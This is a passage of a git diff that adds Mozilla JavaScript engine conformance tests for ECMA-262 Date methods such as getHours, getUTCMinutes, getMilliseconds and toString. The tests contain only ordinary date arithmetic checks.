+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getUTCDay()",
+ NaN,
+ (new Date(NaN)).getUTCDay() );
+
+new TestCase( SECTION,
+ "Date.prototype.getUTCDay.length",
+ 0,
+ Date.prototype.getUTCDay.length );
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.5.14.js b/js/src/tests/ecma/Date/15.9.5.14.js
new file mode 100644
index 000000000..65acda91d
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.14.js
@@ -0,0 +1,54 @@
+// |reftest| random
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.14.js
+ ECMA Section: 15.9.5.14
+ Description: Date.prototype.getHours
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return HourFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.14";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getHours()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getHours()",
+ NaN,
+ (new Date(NaN)).getHours() );
+
+new TestCase( SECTION,
+ "Date.prototype.getHours.length",
+ 0,
+ Date.prototype.getHours.length );
+test();
+
+function addTestCase( t ) {
+ for ( h = 0; h < 24; h+=4 ) {
+ t += msPerHour;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getHours()",
+ HourFromTime((LocalTime(t))),
+ (new Date(t)).getHours() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.15.js b/js/src/tests/ecma/Date/15.9.5.15.js
new file mode 100644
index 000000000..c32d815f7
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.15.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.15.js
+ ECMA Section: 15.9.5.15
+ Description: Date.prototype.getUTCHours
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return HourFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.15";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCHours()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getUTCHours()",
+ NaN,
+ (new Date(NaN)).getUTCHours() );
+
+new TestCase( SECTION,
+ "Date.prototype.getUTCHours.length",
+ 0,
+ Date.prototype.getUTCHours.length );
+test();
+
+function addTestCase( t ) {
+ for ( h = 0; h < 24; h+=3 ) {
+ t += msPerHour;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCHours()",
+ HourFromTime((t)),
+ (new Date(t)).getUTCHours() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.16.js b/js/src/tests/ecma/Date/15.9.5.16.js
new file mode 100644
index 000000000..6168aac7f
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.16.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!xulRuntime.shell&&xulRuntime.OS=="Linux"&&xulRuntime.XPCOMABI.match(/x86_64/)) -- bug xxx crash
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.16.js
+ ECMA Section: 15.9.5.16
+ Description: Date.prototype.getMinutes
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return MinFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.16";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getMinutes()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getMinutes()",
+ NaN,
+ (new Date(NaN)).getMinutes() );
+
+new TestCase( SECTION,
+ "Date.prototype.getMinutes.length",
+ 0,
+ Date.prototype.getMinutes.length );
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 60; m+=10 ) {
+ t += msPerMinute;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getMinutes()",
+ MinFromTime((LocalTime(t))),
+ (new Date(t)).getMinutes() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.17.js b/js/src/tests/ecma/Date/15.9.5.17.js
new file mode 100644
index 000000000..de10f047b
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.17.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.17.js
+ ECMA Section: 15.9.5.17
+ Description: Date.prototype.getUTCMinutes
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return MinFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.17";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMinutes()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getUTCMinutes()",
+ NaN,
+ (new Date(NaN)).getUTCMinutes() );
+
+new TestCase( SECTION,
+ "Date.prototype.getUTCMinutes.length",
+ 0,
+ Date.prototype.getUTCMinutes.length );
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 60; m+=10 ) {
+ t += msPerMinute;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMinutes()",
+ MinFromTime(t),
+ (new Date(t)).getUTCMinutes() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.18.js b/js/src/tests/ecma/Date/15.9.5.18.js
new file mode 100644
index 000000000..7ed3c0c7f
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.18.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.18.js
+ ECMA Section: 15.9.5.18
+ Description: Date.prototype.getSeconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return SecFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.18";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getSeconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getSeconds()",
+ NaN,
+ (new Date(NaN)).getSeconds() );
+
+new TestCase( SECTION,
+ "Date.prototype.getSeconds.length",
+ 0,
+ Date.prototype.getSeconds.length );
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 60; m+=10 ) {
+ t += 1000;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getSeconds()",
+ SecFromTime(LocalTime(t)),
+ (new Date(t)).getSeconds() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.19.js b/js/src/tests/ecma/Date/15.9.5.19.js
new file mode 100644
index 000000000..3dae49f97
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.19.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.19.js
+ ECMA Section: 15.9.5.19
+ Description: Date.prototype.getUTCSeconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return SecFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.19";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCSeconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getUTCSeconds()",
+ NaN,
+ (new Date(NaN)).getUTCSeconds() );
+
+new TestCase( SECTION,
+ "Date.prototype.getUTCSeconds.length",
+ 0,
+ Date.prototype.getUTCSeconds.length );
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 60; m+=10 ) {
+ t += 1000;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCSeconds()",
+ SecFromTime(t),
+ (new Date(t)).getUTCSeconds() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.2-1.js b/js/src/tests/ecma/Date/15.9.5.2-1.js
new file mode 100644
index 000000000..71c3568d0
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.2-1.js
@@ -0,0 +1,117 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.2.js
+ ECMA Section: 15.9.5.2 Date.prototype.toString
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the Date in a
+ convenient, human-readable form in the current time zone.
+
+ The toString function is not generic; it generates a runtime error if its
+ this value is not a Date object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.toString";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Date.prototype.toString.length",
+ 0,
+ Date.prototype.toString.length );
+
+var now = new Date();
+
+// can't test the content of the string, but can verify that the string is
+// parsable by Date.parse
+
+new TestCase( SECTION,
+ "Math.abs(Date.parse(now.toString()) - now.valueOf()) < 1000",
+ true,
+ Math.abs(Date.parse(now.toString()) - now.valueOf()) < 1000 );
+
+new TestCase( SECTION,
+ "typeof now.toString()",
+ "string",
+ typeof now.toString() );
+// 1970
+
+new TestCase( SECTION,
+ "Date.parse( (new Date(0)).toString() )",
+ 0,
+ Date.parse( (new Date(0)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TZ_ADJUST+")).toString() )",
+ TZ_ADJUST,
+ Date.parse( (new Date(TZ_ADJUST)).toString() ) );
+
+// 1900
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TIME_1900+")).toString() )",
+ TIME_1900,
+ Date.parse( (new Date(TIME_1900)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TIME_1900 -TZ_ADJUST+")).toString() )",
+ TIME_1900 -TZ_ADJUST,
+ Date.parse( (new Date(TIME_1900 -TZ_ADJUST)).toString() ) );
+
+// 2000
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TIME_2000+")).toString() )",
+ TIME_2000,
+ Date.parse( (new Date(TIME_2000)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TIME_2000 -TZ_ADJUST+")).toString() )",
+ TIME_2000 -TZ_ADJUST,
+ Date.parse( (new Date(TIME_2000 -TZ_ADJUST)).toString() ) );
+
+// 29 Feb 2000
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+UTC_FEB_29_2000+")).toString() )",
+ UTC_FEB_29_2000,
+ Date.parse( (new Date(UTC_FEB_29_2000)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+(UTC_FEB_29_2000-1000)+")).toString() )",
+ UTC_FEB_29_2000-1000,
+ Date.parse( (new Date(UTC_FEB_29_2000-1000)).toString() ) );
+
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+(UTC_FEB_29_2000-TZ_ADJUST)+")).toString() )",
+ UTC_FEB_29_2000-TZ_ADJUST,
+ Date.parse( (new Date(UTC_FEB_29_2000-TZ_ADJUST)).toString() ) );
+// 2O05
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+UTC_JAN_1_2005+")).toString() )",
+ UTC_JAN_1_2005,
+ Date.parse( (new Date(UTC_JAN_1_2005)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+(UTC_JAN_1_2005-1000)+")).toString() )",
+ UTC_JAN_1_2005-1000,
+ Date.parse( (new Date(UTC_JAN_1_2005-1000)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+(UTC_JAN_1_2005-TZ_ADJUST)+")).toString() )",
+ UTC_JAN_1_2005-TZ_ADJUST,
+ Date.parse( (new Date(UTC_JAN_1_2005-TZ_ADJUST)).toString() ) );
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.5.2.js b/js/src/tests/ecma/Date/15.9.5.2.js
new file mode 100644
index 000000000..71c3568d0
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.2.js
@@ -0,0 +1,117 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.2.js
+ ECMA Section: 15.9.5.2 Date.prototype.toString
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the Date in a
+ convenient, human-readable form in the current time zone.
+
+ The toString function is not generic; it generates a runtime error if its
+ this value is not a Date object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.toString";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Date.prototype.toString.length",
+ 0,
+ Date.prototype.toString.length );
+
+var now = new Date();
+
+// can't test the content of the string, but can verify that the string is
+// parsable by Date.parse
+
+new TestCase( SECTION,
+ "Math.abs(Date.parse(now.toString()) - now.valueOf()) < 1000",
+ true,
+ Math.abs(Date.parse(now.toString()) - now.valueOf()) < 1000 );
+
+new TestCase( SECTION,
+ "typeof now.toString()",
+ "string",
+ typeof now.toString() );
+// 1970
+
+new TestCase( SECTION,
+ "Date.parse( (new Date(0)).toString() )",
+ 0,
+ Date.parse( (new Date(0)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TZ_ADJUST+")).toString() )",
+ TZ_ADJUST,
+ Date.parse( (new Date(TZ_ADJUST)).toString() ) );
+
+// 1900
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TIME_1900+")).toString() )",
+ TIME_1900,
+ Date.parse( (new Date(TIME_1900)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TIME_1900 -TZ_ADJUST+")).toString() )",
+ TIME_1900 -TZ_ADJUST,
+ Date.parse( (new Date(TIME_1900 -TZ_ADJUST)).toString() ) );
+
+// 2000
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TIME_2000+")).toString() )",
+ TIME_2000,
+ Date.parse( (new Date(TIME_2000)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+TIME_2000 -TZ_ADJUST+")).toString() )",
+ TIME_2000 -TZ_ADJUST,
+ Date.parse( (new Date(TIME_2000 -TZ_ADJUST)).toString() ) );
+
+// 29 Feb 2000
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+UTC_FEB_29_2000+")).toString() )",
+ UTC_FEB_29_2000,
+ Date.parse( (new Date(UTC_FEB_29_2000)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+(UTC_FEB_29_2000-1000)+")).toString() )",
+ UTC_FEB_29_2000-1000,
+ Date.parse( (new Date(UTC_FEB_29_2000-1000)).toString() ) );
+
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+(UTC_FEB_29_2000-TZ_ADJUST)+")).toString() )",
+ UTC_FEB_29_2000-TZ_ADJUST,
+ Date.parse( (new Date(UTC_FEB_29_2000-TZ_ADJUST)).toString() ) );
+// 2O05
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+UTC_JAN_1_2005+")).toString() )",
+ UTC_JAN_1_2005,
+ Date.parse( (new Date(UTC_JAN_1_2005)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+(UTC_JAN_1_2005-1000)+")).toString() )",
+ UTC_JAN_1_2005-1000,
+ Date.parse( (new Date(UTC_JAN_1_2005-1000)).toString() ) );
+
+new TestCase( SECTION,
+ "Date.parse( (new Date("+(UTC_JAN_1_2005-TZ_ADJUST)+")).toString() )",
+ UTC_JAN_1_2005-TZ_ADJUST,
+ Date.parse( (new Date(UTC_JAN_1_2005-TZ_ADJUST)).toString() ) );
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.5.20.js b/js/src/tests/ecma/Date/15.9.5.20.js
new file mode 100644
index 000000000..07c0df789
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.20.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.20.js
+ ECMA Section: 15.9.5.20
+ Description: Date.prototype.getMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.20";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getMilliseconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getMilliseconds()",
+ NaN,
+ (new Date(NaN)).getMilliseconds() );
+
+new TestCase( SECTION,
+ "Date.prototype.getMilliseconds.length",
+ 0,
+ Date.prototype.getMilliseconds.length );
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 1000; m+=100 ) {
+ t++;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getMilliseconds()",
+ msFromTime(LocalTime(t)),
+ (new Date(t)).getMilliseconds() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.21-1.js b/js/src/tests/ecma/Date/15.9.5.21-1.js
new file mode 100644
index 000000000..d3e3730b1
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.21-1.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.21.js
+ ECMA Section: 15.9.5.21
+ Description: Date.prototype.getUTCMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.21";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMilliseconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMilliseconds()",
+ msFromTime(t),
+ (new Date(t)).getUTCMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.21-2.js b/js/src/tests/ecma/Date/15.9.5.21-2.js
new file mode 100644
index 000000000..89aabb0b7
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.21-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.21.js
+ ECMA Section: 15.9.5.21
+ Description: Date.prototype.getUTCMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.21";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMilliseconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_0000 );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMilliseconds()",
+ msFromTime(t),
+ (new Date(t)).getUTCMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.21-3.js b/js/src/tests/ecma/Date/15.9.5.21-3.js
new file mode 100644
index 000000000..7df5193ba
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.21-3.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.21.js
+ ECMA Section: 15.9.5.21
+ Description: Date.prototype.getUTCMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.21";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMilliseconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1970 );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMilliseconds()",
+ msFromTime(t),
+ (new Date(t)).getUTCMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.21-4.js b/js/src/tests/ecma/Date/15.9.5.21-4.js
new file mode 100644
index 000000000..1d07d04d5
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.21-4.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.21.js
+ ECMA Section: 15.9.5.21
+ Description: Date.prototype.getUTCMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.21";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMilliseconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1900 );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMilliseconds()",
+ msFromTime(t),
+ (new Date(t)).getUTCMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.21-5.js b/js/src/tests/ecma/Date/15.9.5.21-5.js
new file mode 100644
index 000000000..e4c1874b3
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.21-5.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.21.js
+ ECMA Section: 15.9.5.21
+ Description: Date.prototype.getUTCMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.21";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMilliseconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_2000 );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMilliseconds()",
+ msFromTime(t),
+ (new Date(t)).getUTCMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.21-6.js b/js/src/tests/ecma/Date/15.9.5.21-6.js
new file mode 100644
index 000000000..0949dbfc0
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.21-6.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.21.js
+ ECMA Section: 15.9.5.21
+ Description: Date.prototype.getUTCMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.21";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMilliseconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_FEB_29_2000 );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMilliseconds()",
+ msFromTime(t),
+ (new Date(t)).getUTCMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.21-7.js b/js/src/tests/ecma/Date/15.9.5.21-7.js
new file mode 100644
index 000000000..7998231fb
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.21-7.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.21.js
+ ECMA Section: 15.9.5.21
+ Description: Date.prototype.getUTCMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.21";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMilliseconds()";
+
